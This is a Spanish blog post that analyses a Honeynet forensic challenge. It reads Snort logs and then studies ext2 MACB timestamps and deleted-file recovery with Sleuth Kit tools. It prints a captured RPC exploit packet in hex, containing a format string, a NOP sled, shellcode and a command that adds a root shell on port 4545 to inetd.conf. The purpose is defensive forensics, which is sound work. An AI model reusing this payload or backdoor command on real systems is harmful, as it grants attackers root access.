Si hemos leído detenidamente el reto veremos que se nos proporciona los logs que generó la sonda de detección de intrusos, que en el caso del reto se trata de un Snort:
Nov 7 23:11:06 lisa snort[1260]:
 RPC Info Query: 216.216.74.2:963 -> 172.16.1.107:111
Nov 7 23:11:31 lisa snort[1260]:
spp_portscan: portscan status from 216.216.74.2: 2 connections across 1 hosts: TCP(2), UDP(0)
Nov 7 23:11:31 lisa snort[1260]:
IDS08 - TELNET - daemon-active: 172.16.1.101:23 -> 216.216.74.2:1209
Nov 7 23:11:34 lisa snort[1260]:
IDS08 - TELNET - daemon-active: 172.16.1.101:23 -> 216.216.74.2:1210
Nov 7 23:11:47 lisa snort[1260]:
spp_portscan: portscan status from 216.216.74.2: 2 connections across 2 hosts: TCP(2), UDP(0)
Nov 7 23:11:51 lisa snort[1260]:
IDS15 - RPC - portmap-request-status: 216.216.74.2:709 -> 172.16.1.107:111
Nov 7 23:11:51 lisa snort[1260]:
IDS362 - MISC - Shellcode X86 NOPS-UDP: 216.216.74.2:710 -> 172.16.1.107:871
Claramente en los logs mostrados del Snort vemos que el supuesto ataque comenzo a las 23:11:06. Se realizo una consulta al RPC (puerto 111) del servidor (172.16.1.107) desde la ip 216.216.74.2. Posteriormente hubo intentos de conexión al puerto del Telnet (23). A las 23:11:51 se realizo una consulta de nuevo al RPC y inmediatamente se detecto un shellcode con NOPS. Analicemos el payload del paquete que genero la alerta del shellcode:
Nov 7 23:11:51 lisa snort[1260]:
IDS362 - MISC - Shellcode X86 NOPS-UDP: 216.216.74.2:710 -> 172.16.1.107:871
11/07-23:11:50.870124 216.216.74.2:710 -> 172.16.1.107:871
UDP TTL:42 TOS:0x0 ID:16143
Len: 456
3E D1 BA B6 00 00 00 00 00 00 00 02 00 01 86 B8  >...............
00 00 00 01 00 00 00 02 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 01 67 04 F7 FF BF  ...........g....
04 F7 FF BF 05 F7 FF BF 05 F7 FF BF 06 F7 FF BF  ................
06 F7 FF BF 07 F7 FF BF 07 F7 FF BF 25 30 38 78  ............%08x
20 25 30 38 78 20 25 30 38 78 20 25 30 38 78 20   %08x %08x %08x
25 30 38 78 20 25 30 38 78 20 25 30 38 78 20 25  %08x %08x %08x %
30 38 78 20 25 30 38 78 20 25 30 38 78 20 25 30  08x %08x %08x %0
38 78 20 25 30 38 78 20 25 30 38 78 20 25 30 38  8x %08x %08x %08
78 20 25 30 32 34 32 78 25 6E 25 30 35 35 78 25  x %0242x%n%055x%
6E 25 30 31 32 78 25 6E 25 30 31 39 32 78 25 6E  n%012x%n%0192x%n
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 EB 4B 5E 89 76 AC 83 EE 20 8D 5E 28 83 C6  ...K^.v... .^(..
20 89 5E B0 83 EE 20 8D 5E 2E 83 C6 20 83 C3 20   .^... .^... ..
83 EB 23 89 5E B4 31 C0 83 EE 20 88 46 27 88 46  ..#.^.1... .F'.F
2A 83 C6 20 88 46 AB 89 46 B8 B0 2B 2C 20 89 F3  *.. .F..F..+, ..
8D 4E AC 8D 56 B8 CD 80 31 DB 89 D8 40 CD 80 E8  .N..V...1...@...
B0 FF FF FF 2F 62 69 6E 2F 73 68 20 2D 63 20 65  ..../bin/sh -c e
63 68 6F 20 34 35 34 35 20 73 74 72 65 61 6D 20  cho 4545 stream
74 63 70 20 6E 6F 77 61 69 74 20 72 6F 6F 74 20  tcp nowait root
2F 62 69 6E 2F 73 68 20 73 68 20 2D 69 20 3E 3E  /bin/sh sh -i >>
20 2F 65 74 63 2F 69 6E 65 74 64 2E 63 6F 6E 66   /etc/inetd.conf
3B 6B 69 6C 6C 61 6C 6C 20 2D 48 55 50 20 69 6E  ;killall -HUP in
65 74 64 00 00 00 00 09 6C 6F 63 61 6C 68 6F 73  etd.....localhos
74 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  t...............
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
Vemos que al tener NOPS o instrucciones nulas, el ataque ha sido por un desbordamiento de buffer, a continuación se ha ejecutado una serie de ordenes. Analizando las ordenes vemos que el presunto atacante ha añadido en el initd un servicio TCP que escucha en el puerto 4545, el cual nos proporciona una shell. Posteriormente ha reiniciado el servicio inetd y por tanto ha levantado la puerta trasera.

Obtención de datos preliminares:

Ya tenemos una traza de red de lo ocurrido, tenemos las imagenes de las particiones del sistema, por lo que vamos a comenzar a obtener los datos preliminares previos al análisis forense.

1º) El ataque fue realizado a las 23:11 del 7 de noviembre de 2000. Los puertos vulnerables parecen ser el RPC. Apuntar puerto 23 y 4545 para estudio visto en la traza de Snort.

2º) En la web de la honeynet nos indica que el timezone del equipo es GMT-06 (CST):
      The system's time zone was set to GMT-0600 (CST).

3º) Únicamente se nos proporciona las particiones por lo que hemos perdidos la imagen completa, y por tanto carecemos de dos puntos: el MBR y el HPA. El primero nos proporciona información del arranque de las particiones, el segundo, en caso de existir podría disponer de información escondida por el posible atacante. Teniendo en cuenta que es un reto, damos por sentado que el disco no tenia HPA y el MBR carecia de información relevante.

4º) En la web nos indica que la distribución es una RedHat 6.2. Es importante buscar posibles vulnerabilidades de la distribución durante el 1999-2000 relacionada con el servicio RPC.

5º) Carecemos de cualquier dato volátil del servidor (memoria, uptime, lsof, uname, fdisk, modprobe etc).

6º) Necesitamos conocer el sistema de ficheros empleado por el servidor. Por ello para cada partición ejecutaremos la orden "fstat imagen", por ejemplo para hda:
# fsstat honeypot.hda1.dd
Con esto obtenemos información interesante:
  • El sistema de ficheros es Ext2 (File System Type: Ext2)
  • La última vez que fue montada o se escribio en la partición (lo apuntamos)
  • El tamaño del bloque 1024 bytes (Block Size: 1024)
Una vez sabemos que el sistema de ficheros es Ext2 es necesario entender el funcionamiento de este (a leer en google toca). Para el reto nos interesa conocer dos cosas: por un lado el funcionamiento de los "macb" y por otro lado el comportamiento del sistema de ficheros cuando se borra un fichero.

Para ver el comportamiento del sistema de ficheros, y por tanto el macb, podemos buscar las tablas por internet o crearnos nostros las tablas a mano. En mi caso he decidido crear las tablas a mano. El truco es una vez obtenemos las tablas de un sistema de ficheros apuntarnosla y así no será necesario crear de nuevo la tabla para ese sistema de ficheros. Lo normal es tener tablas para Ext2/3/4, Reiserfs, Fat32, ExtFAT, NTFS, HFS+ y UFS. En nuestro caso vamos a obtener la del Ext2, que es la que nos interesa para el reto.

Las acciones que debemos apuntar son: creación, mover, modificar metadato, modificar dato, copiar y eliminar. Recordar que la "m" del macb apunta a modificación de datos mientras que la "c" apunta a la modificación de la metainformación. En caso de Ext2 la "b" de creación no se emplea (no así en otros sitemas de ficheros como NTFS).

Construiremos una imagen raw con un tamaño de bloque identico al obtenido con anterioridad (1024). Cuidado que el tamaño de bloque estandar es 512. Una vez creado la imagen la formateamos con el sistema de ficheros que nos interesa y posteriormente montaremos la imagen en modo escritura, haremos la acción que nos interesa, la desmontaremos y veremos que ha cambiado. Los pasos para ello son los siguientes:

Creamos la imagen (una sola vez):
# dd if=/dev/zero of=imagen bs=1024 count=2000
2000+0 registros de entrada
2000+0 registros de salida
2048000 bytes (2,0 MB) copiados, 0,0217043 s, 94,4 MB/s
Formatemos la imagen (una sola vez):
# mkfs.ext2 imagen
mke2fs 1.41.11 (14-Mar-2010)
imagen no es un dispositivo especial de bloques.
¿Continuar de todas formas? (s,n) s
...
Los siguientes pasos son repetitivos por cada accion a realizar:
# mount -o loop,rw,atime imagen aux/
# accion
# sync
# umount aux/
# comprobar
(esperar 2 minutos para la siguiente acción)
Por ejemplo para la creación de fichero:
# mount -o loop,rw,atime imagen aux/
# echo "hola" > aux/prueba
# sync
# umount aux/
# ifind -n "prueba" imagen
12
# istat imagen 12
...
Inode Times:
Accessed: Sat Feb 12 15:55:57 2011
File Modified: Sat Feb 12 15:55:57 2011
Inode Modified: Sat Feb 12 15:55:57 2011
...
Como vemos el fichero prueba tiene asignado el inodo 12 y los tiempos de modificación han sido MAC (File Modified, Accessed y Inode Modified). Lo apuntamos en la tabla. Veamos otro ejemplo, en este caso la copia de ficheros:
# mount -o loop,rw,atime imagen aux/
# cp aux/prueba aux/prueba2
# sync
# umount aux/
# istat imagen 12
...
Accessed: Sat Feb 12 15:58:49 2011
File Modified: Sat Feb 12 15:55:57 2011
Inode Modified: Sat Feb 12 15:55:57 2011
...
# ifind -n "prueba2" imagen
13
# istat imagen 13
...
Accessed: Sat Feb 12 15:58:49 2011
File Modified: Sat Feb 12 15:58:49 2011
Inode Modified: Sat Feb 12 15:58:49 2011
...
Cuando copiamos un fichero el original se modifica su tiempo de acceso y el destino toma en los tres campos la fecha de la copia. Realizando esto obtenemos la siguiente tabla:
  • Creación: mac
  • Modificación metadato: --c
  • Modificación dato: m-c
  • Copia(Origen/destino): -a-/mac
  • Mover en misma particion: --c
  • Mover a otra particion(Origen): -ac(Not Allocated)
  • Eliminar(Origen/destino): --c(Not Allocated)
Importante el caso de la eliminación de ficheros, veamos la salida completa de la orden istat cuando eliminamos el fichero prueba2 (inodo 13):
# istat imagen 13
inode: 13
Not Allocated
Group: 0
Generation Id: 3563483695
uid / gid: 0 / 0
mode: rrw-r--r--
size: 5
num of links: 0
Inode Times:
Accessed: Sat Feb 12 15:58:49 2011
File Modified: Sat Feb 12 15:58:49 2011
Inode Modified: Sat Feb 12 16:09:26 2011
Deleted: Sat Feb 12 16:09:26 2011
Direct Blocks:
59

Como vemos nos indica que el inodo 13 esta libre, quien era su dueño, el tamaño, los tiempos (ifind añade la entrada Deleted al ser un inodo not allocated). Pero lo más importante y diferente a como funciona ext3 o ext4, es que una vez eliminado un fichero, el inodo sigue apuntando al bloque/bloques que contiene la información. Por tanto podemos intentar recuperar la información de forma sencilla, simple claro está, que el bloque no haya sido sobreescrito por otro inodo:
# blkcat imagen 59
hola
En este caso, la información sigue existiendo, y por tanto hemos podido recuperar un fichero cuya información estaba borrada. Esto es una ventaja frente a ext3/4 donde no podriamos haberlo hecho.


Bueno, con los datos ya suministrados podemos comenzar el reto. ¿Te apuntas?





Continuar...

jueves, 10 de febrero de 2011

En mi primera entrada, ¡me presento!

Como muchos de vosotros soy un aficionado más a la seguridad en los sistemas. No soy un experto, pero uno hace lo que puede, vamos que soy un pringado más 8-)

Sinceramente no se si al final seguiré con este blog o solo será otro blog más de los millones que hay olvidados por la red. He creado el blog para obligarme tanto a cacharear en algo interesante, como mejora mi redacción, que falta me hace.

Intentare que mientras me dure la fiebre del blog, mostrar mis pequeñas investigaciones que realice sobre temas que me interesen. En muchos de ellos os pediré ayuda y consejos sobre dudas que me hayan surgido, así como, otras soluciones o opiniones al respecto.

Bueno ya me he cansado de escribir idioteces así que nos vemos en la próxima entrada.

Slds.

Continuar...